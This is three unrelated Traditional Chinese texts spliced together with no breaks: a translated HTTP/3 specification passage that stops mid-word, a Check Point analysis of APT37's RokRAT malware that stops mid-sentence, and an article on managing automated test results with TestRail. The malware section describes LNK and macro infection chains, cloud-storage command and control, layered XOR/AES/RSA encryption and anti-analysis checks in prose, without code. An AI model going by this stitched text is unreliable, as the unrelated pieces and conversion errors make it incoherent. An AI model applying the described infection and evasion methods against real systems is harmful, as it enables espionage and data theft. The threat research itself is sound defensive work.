在接收到表示HTTP/3支持的Alt-Svc記錄時，客戶端可以嘗試建立到指定主機和端口的QUIC連接；如果連接成功，客戶端可以使用本文檔中描述的映射發送HTTP請求。 3.1.2其他方案儘管HTTP獨立於傳輸協議，但“HTTP”方案將權限與在權限組件中標識的任何主機的指定端口上接收TCP連接的能力相關聯。由於HTTP/3不使用TCP，所以HTTP/3不能用於直接訪問由“HTTP”URI標識的資源的權威服務器。然而，諸如[ALTSVC]這樣的協議擴展允許授權服務器識別其他同樣具有授權且可能通過HTTP/3可訪問的服務。 當向方案不是“https”的源發起請求之前，客戶端必須確保服務器願意為該方案提供服務。對於方案為“http”的源，我們會在之後介紹實現此目的的實驗方法。 3.2 建立連接HTTP/3依賴於QUIC版本1作為底層傳輸，未來的規範可能會定義使用HTTP/3 的其他QUIC 傳輸版本。 QUIC 版本1 使用TLS 版本1.3 或更高版本作為其握手協議。 HTTP/3 客戶端必須支持在TLS 握手期間向服務器指示目標主機的機制。如果服務器由域名([DNS-TERMS]) 標識，則客戶端必鬚髮送服務器名稱指示(SNI; [RFC6066]) TLS 擴展，除非有另一種機制來指示使用的目標主機。 在建立連接期間，通過在TLS握手中選擇ALPN令牌“h3”來表示對HTTP/3的支持。對其他應用層協議的支持可以在相同的握手中提供。 雖然與核心QUIC 協議有關的連接級別選項是在初始加密握手中設置的，但特定於HTTP/3 的設置在SETTINGS 幀中傳遞。在建立了QUIC連接之後，每個終端必鬚髮送一個SETTINGS幀作為它們各自的HTTP控制流的初始幀。 3.3 連接重用HTTP/3連接是跨多個請求的持久連接。為了獲得最佳性能，客戶端在確定不再需要與服務器進行進一步通信之前(例如，當用戶導航離開某個特定的網頁時)不會關閉連接，或者直到服務器關閉連接。 一旦存在到服務器終端的連接，該連接可以被重用於具有多個不同URI 權限組件的請求。要使用一個現有的連接到一個新的源，客戶端必須驗證服務器為新的源服務器提供的證書。這意味著客戶端將需要保留服務器證書和驗證該證書所需的任何額外信息，否則客戶端將無法為其他源重用連接。 如果證書由於任何原因對於新源不可接受，則不得重用連接，並且應該為新源建立新連接。如果證書無法驗證的原因可能適用於已經與連接關聯的其他來源，客戶端應該重新驗證這些來源的服務器證書。例如，如果由於證書已過期或被吊銷而導致證書驗證失敗，則這可能用於使該證書用於建立權限的所有其他來源無效。 客戶端不應打開多個到給定IP 地址和UDP 端口的HTTP/3 連接，其中IP 地址和端口可能來自URI、選定的替代服務([ALTSVC])、配置的代理或名稱解析其中任何一個。客戶端可以使用不同的傳輸或TLS 配置打開到相同IP 地址和UDP 端口的多個HTTP/3 連接，但應避免使用相同配置創建多個連接。 服務器應盡可能長時間地保持打開的HTTP/3 連接，但在必要時允許終止空閒連接。當任何一個終端選擇關閉HTTP/3連接時，終止的終端應該首先發送一個GOAWAY 幀，以便兩個終端能夠可靠地確定之前發送的幀是否已經被處理並完成或終止任何必要的剩餘任務。 如果服務器不希望客戶端重用HTTP/3連接，它可以發送一個421(錯誤定向請求)狀狀態代碼來響應請求來表明它對請求不具有權威性。 4.在HTTP/3中表達HTTP語義4.1HTTP 消息幀客戶端在請求流上發送HTTP 請求，請求流是客戶端發起的雙向QUIC 流。客戶端必須在給定的流上只發送一個請求。服務器在與請求相同的流上發送零個或多個臨時HTTP響應，然後是一個最終HTTP響應，詳細信息如下。 推送響應在服務器發起的單向QUIC流上發送，服務器以與標準響應相同的方式發送零個或多個臨時HTTP響應，然後是一個最終HTTP響應。在給定的流中，收到多個請求或在最終HTTP 響應之後收到額外的HTTP 響應必須被視為格式錯誤。 一個HTTP消息(請求或響應)包括： 標頭部分，包括消息控制數據，作為單個標頭幀發送； 可選地，如果內容存在，則以一系列數據幀的形式發送； 可選地，尾部部分（如果存在）作為單個HEADERS 幀發送。 接收到無效的幀序列必須被視為H3_FRAME_UNEXPECTED 類型的連接錯誤。特別是，任何HEADERS 幀之前的DATA 幀，或尾部HEADERS 幀之後的HEADERS 或DATA 幀，都被認為是無效的。其他幀類型，尤其是未知幀類型，可能會根據它們自己的規則被允許。 服務器可以在響應消息的幀之前、之後或與響應消息的幀交錯發送一個或多個PUSH_PROMISE 幀。這些PUSH_PROMISE 幀不是響應的一部分。 push stream上不允許使用PUSH_PROMISE 幀；包含PUSH_PROMISE 幀的推送響應必須被視為H3_FRAME_UNEXPECTED 類型的連接錯誤。 HEADERS 和PUSH_PROMISE 幀可能會引用對QPACK 動態表的更新。雖然這些更新不是消息交換的直接部分，但必須先接收和處理它們，然後才能使用消息。 傳輸編碼沒有為HTTP/3定義；Transfer-Encoding標頭字段絕對不能被使用。 當且僅當一個或多個臨時響應在對同一請求的最終響應之前，響應可能包含多個消息。臨時響應不包含內容或預告片部分。 HTTP 請求/響應交換完全使用客戶端發起的雙向QUIC 流。發送請求後，客戶端必須關閉要發送的流。除非使用CONNECT 方法，否則客戶端不得依賴於接收到對其請求的響應來進行流關閉。發送最終響應後，服務器必須關閉要發送的流。此時，QUIC 流已完全關閉。 當流關閉時，這表示最終HTTP消息的結束。因為有些消息很大或沒有綁定，所以一旦接收到足夠的消息以進行處理，終端就應該開始處理部分HTTP消息。如果客戶端發起的流終止時沒有足夠的HTTP消息來提供完整的響應，服務器應該以錯誤碼H3_REQUEST_INCOMPLETE終止其響應流。 如果響應不依賴於尚未發送和接收的請求的任何部分，服務器可以在客戶端發送整個請求之前發送一個完整的響應。當服務器不需要接收請求的剩餘部分時，它可以中止讀取請求流，發送一個完整的響應，並關閉流的發送部分。當請求客戶端停止發送請求流時，應該使用錯誤碼H3_NO_ERROR。客戶絕對不能因為他們的請求被突然終止而刪除完整的回复，儘管客戶總是可以根據自己的判斷刪除其他原因的回复。如果服務器發送了部分或完整的響應，但沒有終止讀取請求，客戶端應該繼續發送請求的內容，並正常關閉流。 4.1.1取消和拒絕請求一旦請求流被打開，請求可以被任何一個終端取消。如果對響應不再感興趣，客戶端會取消請求；如果服務器無法或選擇不響應請求，則會取消請求。如果可能，建議服務器發送一個帶有適當狀態碼的HTTP響應，而不是取消它已經開始處理的請求。 實現應該通過突然終止流中仍然打開的任何方向來取消請求。為此，實現重置流的發送部分，併中止流的接收部分的讀取。 當服務器取消請求而不執行任何應用程序處理時，該請求被認為是“被拒絕”的。服務器應該中止包含錯誤代碼H3_REQUEST_REJECTED的響應流。在這種情況下，“已處理”意味著流中的一些數據被傳遞到軟件的較高層，該軟件可能因此採取了一些操作。客戶端可以將被服務器拒絕的請求當作從未發送過，從而允許它們稍後重試。 對於部分或全部處理的請求，服務器不得使用H3_REQUEST_REJECTED 錯誤代碼。當服務器在部分處理後放棄響應時，它應該以錯誤代碼H3_REQUEST_CANCELLED 中止其響應流。 客戶端應該使用錯誤代碼H3_REQUEST_CANCELLED來取消請求。在接收到此錯誤碼後，如果沒有執行任何處理，服務器可能會使用錯誤碼H3_REQUEST_REJECTED突然終止響應。客戶端絕對不能使用H3_REQUEST_REJECTED錯誤碼，除非服務端使用此錯誤碼請求關閉請求流。 如果在收到完整響應後取消流，客戶端可以忽略取消並使用響應。但是，如果在收到部分響應後取消流，則不應使用響應。只有GET、PUT 或DELETE 等冪等操作可以安全地重試；客戶端不應該使用非冪等方法自動重試請求，除非它有某種方法可以知道請求語義是獨立於方法的冪等，或者有某種方法可以檢測到原始請求從未被應用。 4.1.2 格式錯誤的請求和響應格式錯誤的請求或響應是一個有效的幀序列，但由於以下原因而無效：禁止字段或偽標頭字段的存在； 沒有強制性的偽標頭字段； 偽標頭字段的無效值； 字段後的偽標頭字段； 無效的HTTP 消息序列； 包含大寫字段名稱； 在字段名稱或值中包含無效字符。 如果一個請求或響應被定義為包含content - length標頭字段，如果content - length標頭字段的值不等於接收到的數據幀長度之和，則該請求或響應是不規範的。一個被定義為永遠沒有內容的響應，即使有content - length，也可以有一個非零的content - length標頭字段，即使數據幀中沒有包含任何內容。 處理HTTP 請求或響應的中介（即任何不充當隧道的中介）不得轉發格式錯誤的請求或響應。檢測到的格式錯誤的請求或響應必須被視為H3_MESSAGE_ERROR 類型的流錯誤。 對於格式錯誤的請求，服務器可以在關閉或重置流之前發送一個指示錯誤的HTTP 響應。客戶端不得接受格式錯誤的響應。請注意，這些要求旨在防止針對HTTP 的幾種常見攻擊；它們是故意嚴格的，因為允許可能暴露這些漏洞的實現。 4.2 HTTP字段HTTP消息以一系列項值對的形式攜帶元數據，稱為“HTTP字段”。與HTTP/2類似，HTTP/3還有一些額外的注意事項，包括字段名、連接標頭字段和偽標頭字段中的字符的使用。 字段名是包含ASCII字符子集的字符串。字段名中的字符必須在編碼之前轉換為小寫。字段名稱中包含大寫字符的請求或響應必須被視為格式不正確。 HTTP/3 不使用Connection 頭字段來指示特定於連接的字段；在此協議中，特定於連接的元數據通過其他方式傳送。終端絕對不能生成包含連接特定字段的HTTP/3字段部分；任何包含連接特定字段的消息都必須被視為格式錯誤。 唯一的例外是TE標頭字段，它可能出現在HTTP/3請求標頭中；如果是，它不能包含除“trailers”之外的任何值。 將HTTP/1.x 消息轉換為HTTP/3 的中介必須刪除連接特定的標頭字段，否則它們的消息將被其他HTTP/3 終端視為格式錯誤。 4.2.1 字段壓縮（field compression）[QPACK]描述了HPACK的一個變體，它使編碼器能夠控制由壓縮引起的標頭阻止的數量。這允許編碼器平衡壓縮效率和延遲。 HTTP/3 使用QPACK 來壓縮頭部和尾部部分，包括出現在標頭部分的控制數據。 為了提高壓縮效率，在壓縮之前，Cookie 標頭字段([COOKIES])可以拆分為單獨的字段行，每行包含一個或多個cookie 對。如果一個解壓縮的字段部分包含多個cookie字段行，則在傳遞到HTTP/2 或HTTP/3 以外的上下文之前，必須使用“;”的兩字節分隔符（ASCII0x3b，0x20）將它們連接成單個字節字符串，例如HTTP/1.1 連接，或通用HTTP 服務器應用程序。 4.2.2 標頭大小限制HTTP/3實現可能會對單個HTTP消息接受的消息標頭的最大大小施加限制。如果服務器接收到的標頭區域比它願意處理的更大，它可以發送一個HTTP 431(請求標頭字段太大)狀態碼([RFC6585])。客戶端可以刪除它無法處理的響應。字段列表的大小是根據未壓縮的字段大小計算的，包括名稱和值的長度(以字節為單位)，外加每個字段的32字節開銷。 如果一個實現希望將此限制通知其對等方，則可以在SETTINGS_MAX_FIELD_SECTION_SIZE 參數中將其作為字節數傳送。接收到此參數的實現不應該發送超過指示大小的HTTP 消息標頭，因為對等方可能會拒絕處理它。但是，HTTP 消息在到達源服務器之前可以經過一個或多個中介。因為這個限制是由處理消息的每個實現單獨應用的，所以不能保證低於這個限制的消息被接受。 4.3. HTTP控制數據與HTTP/2類似，HTTP/3使用了一系列偽標頭字段，其中字段名以字符(ASCII0x3a)開頭。這些偽標頭字段傳遞消息控制數據。 偽標頭字段不是HTTP字段。終端絕對不能生成除本文檔中定義的那些以外的偽標頭字段。然而，延期可以協商修改此限制。 偽標頭字段僅在定義它們的上下文中有效。為請求定義的偽標頭字段絕對不能出現在響應中；為響應定義的偽標頭字段絕對不能出現在請求中。偽標頭字段絕對不能出現在尾部部分。終端必須將包含未定義或無效偽標頭字段的請求或響應視為格式錯誤。 所有的偽標頭字段必須出現在普通標頭字段之前的標頭部分。任何包含出現在普通標頭字段之後的標頭部分中的偽標頭字段的請求或響應都必須被視為格式錯誤。 4.3.1. 請求偽標頭字段為請求定義了以下偽標頭字段： ':method'：包含HTTP方法； ':scheme'：包含目標URI的方案部分。 ：scheme偽標頭不局限於具有“http”和“https”方案的URI。代理或網關可以轉換非HTTP方案的請求，使HTTP 能夠與非HTTP 服務進行交互。 ':authority'：包含目標URI的權限部分，權限不得包含方案“http”或“https”的URI 的已棄用userinfo 子組件。 為確保HTTP/1.1 請求行可以準確再現，當從具有特定方法形式的請求目標的HTTP/1.1 請求轉換時，必須省略此偽標頭字段。直接生成HTTP/3 請求的客戶端應該使用:authority 偽標頭字段而不是Host 標頭字段。如果請求中沒有Host字段，則將HTTP/3 請求轉換為HTTP/1.1 的中介必須通過複製:authority 偽標頭字段的值來創建Host字段。 ':path'：包含目標URI的路徑和查詢部分後跟“查詢”結果。 對於“http”或“https”URI，此偽頭字段不得為空；不包含路徑組件的“http”或“https”URI 必須包含值/（ASCII0x2f）。不包含路徑組件的OPTIONS 請求包含:path 偽標頭字段的值* (ASCII0x2a)。 所有HTTP/3 請求必須只包含一個:method、scheme 和:path 偽標頭字段的值，除非請求是CONNECT 請求。 如果:scheme 偽標頭字段標識了具有強制權限組件（包括“http”和“https”）的方案，則請求必須包含:authority 偽標頭字段或Host 標頭字段。如果這些字段存在，則它們不得為空。如果兩個字段都存在，它們必須包含相同的值。如果該方案沒有強制授權組件並且在請求目標中沒有提供任何內容，則請求不得包含:authority 偽標頭或Host 標頭字段。 如果一個HTTP請求省略了強制的偽標頭字段或者包含了這些偽標頭字段的無效值，那麼這個請求就是不規範的。 HTTP/3沒有定義攜帶HTTP/1.1請求行中包含的版本標識符的方法。 HTTP/3請求隱含的協議版本是“3.0”。 4.3.2. 響應偽標頭字段對於響應，定義了一個帶有HTTP 狀態代碼的“:status”偽標頭字段。這個偽標頭字段必須包含在所有響應中，否則，響應格式錯誤。 HTTP/3沒有定義一種方式來攜帶包含在HTTP/1.1狀態行中的版本或原因短語。 HTTP/3響應隱含的協議版本是“3.0”。 4.4. 連接方法CONNECT 方法請求接收方建立一條到請求目標標識的目標源服務器的隧道，它主要與HTTP 代理一起使用，以與源服務器建立TLS 會話，以便與“https”資源進行交互。 在HTTP/1.x 中，CONNECT 用於將整個HTTP 連接轉換為到遠程主機的隧道。在HTTP/2 和HTTP/3 中，CONNECT 方法用於在單個流上建立隧道。 CONNECT請求構造如下： :method 偽標頭字段設置為“CONNECT”； :scheme 和:path 偽標頭字段被省略； :authority 偽標頭字段包含要連接的主機和端口，相當於CONNECT 請求的請求目標的權限形式。 請求流在請求結束時保持打開狀態，以攜帶要傳輸的數據。不符合這些限制的CONNECT請求是不正確的。 支持CONNECT 的代理與:authority 偽標頭字段中標識的服務器建立TCP 連接（[RFC0793]）。一旦成功建立此連接，代理就會向客戶端發送一個包含2xx 系列狀態代碼的HEADERS 幀。 流上的所有數據幀都對應於TCP連接上發送或接收的數據。客戶端發送的任何數據幀的有效載荷都由代理傳輸給TCP服務器，從TCP服務器接收到的數據被代理打包成數據幀。請注意，不能保證TCP 段的大小和數量可預測地映射到HTTP DATA 或QUIC STREAM 幀的大小和數量。 C

本文是Check Point根據其2022年7月首次發現的一個RokRAT樣本來做的深入分析。 早在2022 年7 月，APT37（Inky Squid、RedEyes、Reaper或ScarCruft）就開始試驗使用超大LNK 文件傳播RokRAT活動，企圖利用不受信任來源的宏發起攻擊，巧的是，同月微軟開始默認阻止跨Office 文檔的宏。與以前一樣，攻擊的目標還是韓國的目標。 研究結果表明，用於最終加載ROKRAT的各種多階段感染鏈被用於其他攻擊，導致傳播與同一攻擊者相關的其他工具。這些工具包括另一個自定義後門，GOLDBACKDOOR和Amadey。 在前幾年，ROKRAT感染鏈通常涉及帶有漏洞的惡意朝鮮文字處理器（HWP，韓國流行的文檔格式）文檔或帶有宏的Microsoft Word文檔。雖然一些ROKRAT樣本仍然使用這些技術，但傳播方式上還是進行了改進，即使用偽裝成合法文檔的LNK文件傳播ROKRAT。這種轉變並不是ROKRAT獨有的，而是代表了2022年非常流行的更大趨勢。 ROKRAT的背景介紹Talos於2017年4月首次報導了APT37開發的ROKRAT（也稱為DOGCALL），這個工具被用來針對韓國的政府部門，記者、活動人士和脫北者。根據最初的報告，其中一個ROKRAT樣本使用Twitter作為其命令和控制（CC）基礎設施，而另一個則依賴於Yandex和Mediafire。後一個更接近於如今ROKRAT的活動方式，依賴雲文件存儲服務作為一種CC機制。 最初只支持Windows，多年來ROKRAT已經適應了其他平台，在野外發現了macOS和Android版本。 macOS版本，也稱為CloudMensis，於2022年7月由ESET首次描述。雖然Android版本的ROKRAT已經存在了很長時間，但InterLab和S2W都在Android上推出了一個更新版本的ROKRAT，稱為RambleOn（Cumulus）。所有這些都表明，這種惡意軟件仍在迭代中。 APT37的許多工具都是自定義編寫的工具，如ROKRAT，包括（但不限於）最近報導的M2RAT、Konni RAT、Chinotto和GOLDBACKDOOR。然而，攻擊者也會使用Amadey等普通惡意軟件。使用普通惡意軟件使得將攻擊歸因於特定組織變得更加困難，因為它廣泛可用，任何人都可以獲得它。 今年2月，AhnLab報告了一種名為Map2RAT（簡稱M2RAT）的新RAT。這種RAT利用隱寫術技巧，將可執行文件隱藏在JPEG文件中以逃避檢測。今年3月，Sekoia和ZScaler都發布了APT37使用釣魚網站和PowerShell後門的報告，ZScaler導致了另一個名為Chinotto的植入程序的傳播。 誘餌和感染鏈在過去的四個月裡，我們觀察到多個感染鏈導致了ROKRAT的傳播。在大多數情況下，LNK文件會啟動攻擊，儘管在少數情況下，DOC文件被用於相同的目的（以前的ROKRAT攻擊中的方法）。在分析ROKRAT感染鏈的過程中，研究人員發現了導致Amadey傳播的攻擊鏈，Amadey是一種在地下論壇上出售的商業RAT。儘管攻擊的性質不同，但研究人員認為所有這些攻擊都是由相同的攻擊者策劃的。 誘餌和感染鏈的時間線 誘餌LNK感染鏈2022年4月，Stairwell發表了對GOLDBACKDOOR的詳細分析，這是一種針對韓國記者的有針對性攻擊中使用的惡意軟件。 Stairwell對利用運行PowerShell的大型LNK文件的感染鏈進行了徹底分析，導致在釋放誘餌文檔的同時執行新發現的惡意軟件。這項技術是一個名為EmbeddExeLnk的公共工具的獨特實現。 雖然最初與GOLDBACKDOOR有關，但對最近與APT37相關的誘餌的分析表明，這種技術已經成為一種重要的方法，用於傳播與同一攻擊者相關的另一種工具，即ROKRAT。 ROKRAT和GOLDBACKDOOR加載機制的實現非常相似，只有在檢索有效負載時才能區分。 在過去的幾個月裡，研究人員能夠利用ZIP和ISO檔案中提供的這種獨特實現來識別多個誘餌。只有其中一些誘餌被證實會導致ROKRAT的傳播。所有的誘餌都以韓國國內外事務為主題。 LNK感染鏈分析目前已知的所有LNK都會導致幾乎相同的感染鏈。下面以“利比亞項目”中描述的一個感染為例進行說明： “利比亞項目”誘餌的感染鏈 點擊惡意LNK文件會觸發PowerShell的執行，並啟動以下感染鏈： 1.PowerShell從LNK中提取文檔文件，將其放入磁盤，然後打開它。這個文件是一個誘餌，欺騙用戶以為他們只是打開了一個普通的PDF或HWP文件。 2.PowerShell從LNK中提取BAT腳本，將其放入磁盤並執行。 3.BAT腳本執行一個新的PowerShell實例，該實例從OneDrive下載有效負載，通過將有效負載的第一個字節作為密鑰對其進行解碼，並將其與有效負載的其餘部分進行異或。 4.生成的有效負載以反射方式註入PowerShell，使其作為新線程運行。 5.shellcode使用四字節異或密鑰對有效負載的ROKRAT部分進行解碼並執行它。 典型的ROKRAT感染鏈ROKRAT運營商在採取新的行為同時，仍夾雜了一些舊習慣，比如，ROKRAT仍然使用惡意Word文檔進行部署。 2022年12月，有人向VirusTotal提交了一份惡意的Word文檔，命名為“.doc”（Case fee_Payment request.doc）。該文件本身包含一個輸入個人和銀行信息的簡短表格。然而，對該文件的仔細檢查顯示，其中提到了韓國的統一部。 “利比亞項目”誘餌的感染鏈 一旦用戶打開惡意文檔並允許宏執行，就會觸發以下感染鏈： 1.宏通過設置AccessVBOM註冊表項以加載其他代碼來檢查並確保它可以訪問Visual Basic項目。 2.宏解碼一個新的VBA腳本，將其寫入宏中的一個新模塊，然後執行它。這是在不將任何代碼釋放到磁盤的情況下完成的。 3.第二個VBA腳本運行notepad.exe並將shellcode注入其中。 4.shellcode在notepad.exe中運行，並進入OneDrive下載ROKRAT有效負載並在內存中執行它。 這裡描述的感染鏈與MalwareBytes在2021年1月報告的非常相似，MalwareBytes也通過將shellcode注入notepad.exe並將RAT加載到內存中來傳播ROKRAT。然而，MalwareBytes研究中描述的樣本的編譯日期是從2019年開始的，而checkpoint發現的新ROKRAT樣本似乎是在2022年12月21日編譯的，距離文件提交給VirusTotal只有六天時間。 此外，在2023年4月發現的另一個文件似乎是同一感染鏈的一部分，只是這次注入的目標進程是mspaint.exe，該文件以朝鮮的核武器為主題。不幸的是，在我們進行分析時，URL不再響應下載負載的請求。但是，這份文件很有可能也是為了傳播ROKRAT。 與Amadey的關聯2022年11月初，一個名為securityMail.zip的文件被提交給了VirusTotal。這個ZIP包含兩個LNK，它們的大小都不到5MB，令人懷疑。 PowerShell命令在兩個LNK中的實現是唯一的，並且僅與ROKRAT和GOLDBACKDOOR LNK感染重疊。然而，這個特定的感染鏈最終傳播了Amadey，這是一種可在網絡犯罪論壇上出售的惡意軟件。 Amadey過去曾被認為是Konni開發的，Konni組織與APT37的背景類似。 “安全郵件”誘餌的感染鏈，打開這些LNK中的任何一個都會產生惡意流程： 1.PowerShell命令從LNK中提取一個誘餌HTML文件，並將其放入磁盤，其方式與ROKRAT感染鏈類似： 2.這個PowerShell還從包含DLL的LNK中提取一個ZIP文件。然後將DLL作為mfc100.dll放入磁盤。 3.PowerShell最終也從LNK中提取了一個BAT腳本，將其放到磁盤上並執行。 4.BAT腳本運行帶有rundll32.exe的DLL並刪除自身。 對DLL文件的初步分析顯示，它包含了商業代碼保護解決方案Themida。在分析了它執行的內存轉儲後，我們能夠確認這實際上是Amadey。誘餌HTML文件中包含一個偽造的Kakao銀行的登錄頁面，Kakao是韓國一家受歡迎的銀行。對HTML的進一步分析表明，它不是用於密碼釣魚，而是用來隱藏攻擊者的意圖。 偽造Kakao銀行登錄頁面 ROKRAT技術分析ROKRAT只是APT37使用的許多自定義工具之一，但它絕對是通用且強大的。 ROKRAT主要側重於運行額外的有效負載和大量的數據竊取。它的CC功能依賴於雲基礎設施，包括DropBox、pCloud、Yandex cloud和OneDrive。 ROKRAT還收集有關計算機的信息，以防止被其他競爭者再次感染。 雖然在過去幾年中，ROKRAT並沒有發生重大變化，但其破壞力依然不容小覷，這可以歸因於它巧妙地使用內存執行，將CC通信偽裝成潛在的合法云通信，以及額外的加密層，以阻礙網絡分析和逃避網絡簽名。因此，最近發表的關於ROKRAT的文章並不多。 通用惡意軟件結構ROKRAT的大多數樣本都有一個非常簡單的WinMain函數。到目前為止分析的所有樣本都包含一個數據收集功能（CollectMachineData，如下圖所示），該功能在主RAT線程（MainRATThread）執行之前執行。這個線程初始化RAT並運行一個循環，以嘗試從CC獲取命令，然後解析並執行它們。 WinMain函數中嵌入了兩個額外的功能，我們只在樣本的一個子集中觀察到了這兩個功能。第一個檢查RAT是否能夠寫入TEMP目錄（CheckTemp，如下圖所示）。第二個創建了一個線程（KillCertainProcessesThread），用於停止與以前利用Hancom Office漏洞的感染載體相關的某些進程。 ROKRAT中WinMain函數的示例 受害目標分析ROKRAT在執行時調用的第一個函數旨在收集有關受感染計算機的數據。在初始攻擊階段，這可能有助於攻擊者區分這是否是一個期望的目標，然後採取相應的行動。 在這個函數（以及許多其他函數）中，ROKRAT使用加密字符串來防止靜態分析看不到使用的一些技術。此處收集的信息包括程序是否在WOW64上運行（表示32位應用程序在64位窗口上運行）、vmtoolsd.exe的版本（VMWare Tools Daemon，如果已安裝）、註冊表中的SMBIOS數據以及註冊表中的系統BIOS版本。 RAT還收集用戶名、計算機名和RAT正在執行的可執行文件的完整路徑。後者很重要，因為感染鏈通常涉及將ROKRAT PE文件注入現有進程的內存。換言之，這使攻擊者能夠查看ROKRAT是否在預期的進程中執行，如powershell.exe或notepad.exe。最後，該函數檢查可執行文件是否有權在C:\Windows下創建用於寫入的文件。 CollectMachineData收集有關受感染計算機的各種信息 雖然在上述函數中收集了大量目標的數據，但在ROKRAT開始接受命令之前，還有另一個數據收集函數在主RAT線程的上下文中運行。第二個函數檢查調用IsDebuggerPresent API，將結果存儲為字符（0或1）。此外，它還調用了一個函數來獲取計算機的屏幕截圖。 將執行在主線程中執行的數據收集，每次ROKRAT嘗試獲取命令時發送收集的數據。 在同一函數中，一些示例還檢查是否有一個名為360Tray.exe的正在運行的進程，該進程是名為360 Total Security的防病毒軟件的一部分。結果存儲在一個全局布爾變量中，並在用於執行shellcode有效負載的單獨函數中訪問。有趣的是，如果找到了進程，ROKRAT會將等待shellcode完成運行的超時時間從24秒增加到48秒。如果shellcode運行超過超時時間，並且之前未檢測到360Tray.exe，ROKRAT將嘗試終止shellcode線程。 如前所述，一些ROKRAT示例執行一個名為KillCertainProcessesThread的線程。這個線程阻止了兩個進程：gbb.exe和gswin32c.exe，它們負責解析Hancom Office中的postscript數據。過去，ROKRAT樣本來自惡意的HWP文檔，這些文檔利用這些進程來獲取代碼執行。最有可能的是，這是在試圖清除之前活動中的任何利用痕跡時留下的代碼。 ROKRAT沒有為這些進程名稱使用硬編碼或加密的字符串，而是包含一個簡單的哈希算法，該算法基於整數值確定進程名稱。它的工作方式如下： CC通信在我們分析的每個ROKRAT樣本中，惡意軟件配置包含一個代表云基礎設施的ID號，以及使用它的API令牌。 ID號可以具有以下值，以對應不同的雲提供商，以及允許RAT與本地計算機通信的測試模式： 1 -本地計算機（無雲） 3 - Dropbox 4 - pCloud 5 - Yandex 雲存儲提供商的Switch case語句 進一步的分析表明，通常有兩種CC配置，一種用作主要基礎設施，另一種用作備份。在我們發現的最新樣本中，主要的CC是pCloud，次要的是Yandex Cloud。 ROKRAT從初始化令牌開始，然後從CC獲取文件夾內容，以確保它具有訪問權限並且令牌有效： 列出pCloud中文件夾目錄的GET請求標頭 ROKRAT使用的文件的名稱是基於GetTickCount API和rand API的隨機值生成的，並以執行時間作為依據。 ROKRAT向服務器上傳一個文件，其中包含有關受害計算機的以下信息： 硬編碼值0xBAADFEDE–稍後在CC通信中使用； IsDebuggerPresent值； 之前保存到以下路徑的惡意軟件的屏幕截圖：%TEMP%\ 進程數據—每個工作進程的pid: Tick Count； XOR密鑰–用於解密CC中的命令和有效負載； 生成的文件名-稍後用於下載和執行某些命令中的有效負載； IsWow64Process標識； Windows版本； 計算機名； 使用者名稱; 計算機類型—通過查詢HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mssmbios\Data下的SMBiosData註冊表值獲得； VMware工具版本數據； 系統BIOS版本； 為了進一步隱藏其踪跡，ROKRAT將收集到的有關計算機的數據標記為MP3: 將從受害計算機收集的加密數據發送到pCloud的POST請求標頭 首先，使用一個隨機的四字節密鑰對數據進行異或運算。由於這個原因，數據以硬編碼的四字節值0xBAADFEDE開始。由於攻擊者知道硬編碼的值，他們可以通過使用0xBAADFEDE對異或數據的前四個字節進行異或來獲得異或密鑰。然後用AES-CBC對異或數據進行加密。最後，使用硬編碼的RSA公鑰對AES密鑰進行加密，以確保只能使用RSA私鑰對有效負載進行解密。 儘管CC通信已經在HTTPS流量中加密，但ROKRAT通過使用AES加密上傳到CC的數據進一步進行了加密。當惡意軟件初始化時，它會生成兩個隨機的16字節值，作為用於加密命令和有效負載的AES密鑰的基礎。惡意軟件還附帶了一個硬編碼的16字節值，然後對兩個隨機值進行異或。結果是兩個AES密鑰，一個用於加密和解密命令，另一個用於加密和解密有效負載。 ROKRAT命令每個命令都由一個字符標識。有些命令採用參數，並且這些參數是在命令ID字符之後提供的。在識別出正確的命令後，代碼會根據命令的類型解析參數。下表列出了研究人員在ROKRAT中發現的命令，以及它們預期的參數和操作： 在收到清理命令（d）後，ROKRAT運行以下命令來刪除惡意軟件最初未使用的持久性機制。它們可能與感染後的活動有關。 在接收到命令1-4後，ROKRAT創建一個名為out.txt的文件，其中包含有關係統的信息： 總結我們介紹了臭名昭著的APT37的最新活動，介紹了幾種不同的感染鏈，其中大多數導致ROKRAT有

測試軟件的性能可能非常耗時。不斷檢查和修復失敗的測試或錯誤會花費大量時間，並且需要質量保證(QA) 團隊付出大量努力，尤其是當他們手動進行時。 為了節省時間並仍然提供高質量的結果，許多項目旨在自動化他們的測試工作。我們謹慎地開發自動化測試策略並使用TestRail 來管理自動化測試結果。 本文將通過分享我們在使用此工具時的策略，幫助您了解如何借助TestRail 提高QA 流程的效率。 為什麼要管理自動化測試結果？為確保有效的自動化測試，您需要製定測試管理策略並為您的項目選擇合適的技術和測試覆蓋率。這將為您提供自動測試結果的透明度、對這些結果的有效分析和管理，以及處理脆弱測試的策略，這些測試在大多數時間都有效。 實施測試自動化時最常見的問題之一是缺乏對自動測試結果管理的關注。管理自動化測試的結果是構建高效測試策略不可或缺的一部分。從長遠來看，它可以幫助您顯著縮短重複的手動測試過程並優化您的QA 費用。 最壞的情況是當您在自動質量保證(AQA) 環境中本地運行測試並且它們沒有集成到持續集成和持續部署(CI/CD) 管道中時。在這種情況下，您無法控制自動測試的定期運行或其結果。隨著時間的推移，或者在更改AQA 環境之後，自動測試可能永遠不會再次運行，並且它們之前的結果可能會丟失。因此，專門用於編寫和運行這些測試的資金和其他資源可能被證明是白費了。 在更成熟的流程中，QA 工程師和開發人員將自動測試集成到CI/CD 管道中。 QA 專家定期在測試環境中運行測試，並將結果匯總在一份報告中。通常，自動化測試團隊獨立於手動測試團隊工作。因此，手動測試及其結果與自動測試分開監控。這有一些負面影響： 您需要在多個地方努力管理測試結果 存在不及時響應失敗的自動測試的風險 有時，人工和自動化QA 專家對監控自動測試結果的職責模糊不清，這可能導致測試結果未被處理甚至丟失。此外，手動和自動QA 專家的職責不明確使計算自動測試覆蓋率的過程變得複雜，而自動測試覆蓋率是管理測試自動化的最重要指標之一。 現在，讓我們看看可以將測試自動化工具集成到測試過程中的不同情況。 您可以使用測試自動化工具實現什麼？通過將自動測試管理工具集成到QA 部門的工作中，您可以監督很多事情。 您可以使用自動測試自動化工具做什麼 自動化測試場景。自動測試管理工具為您提供了一種存儲自動測試場景以供將來使用的便捷方式。例如，如果您使用行為驅動開發或基於關鍵字的測試自動化方法，您可以為每次測試運行從存儲中檢索自動化測試場景。 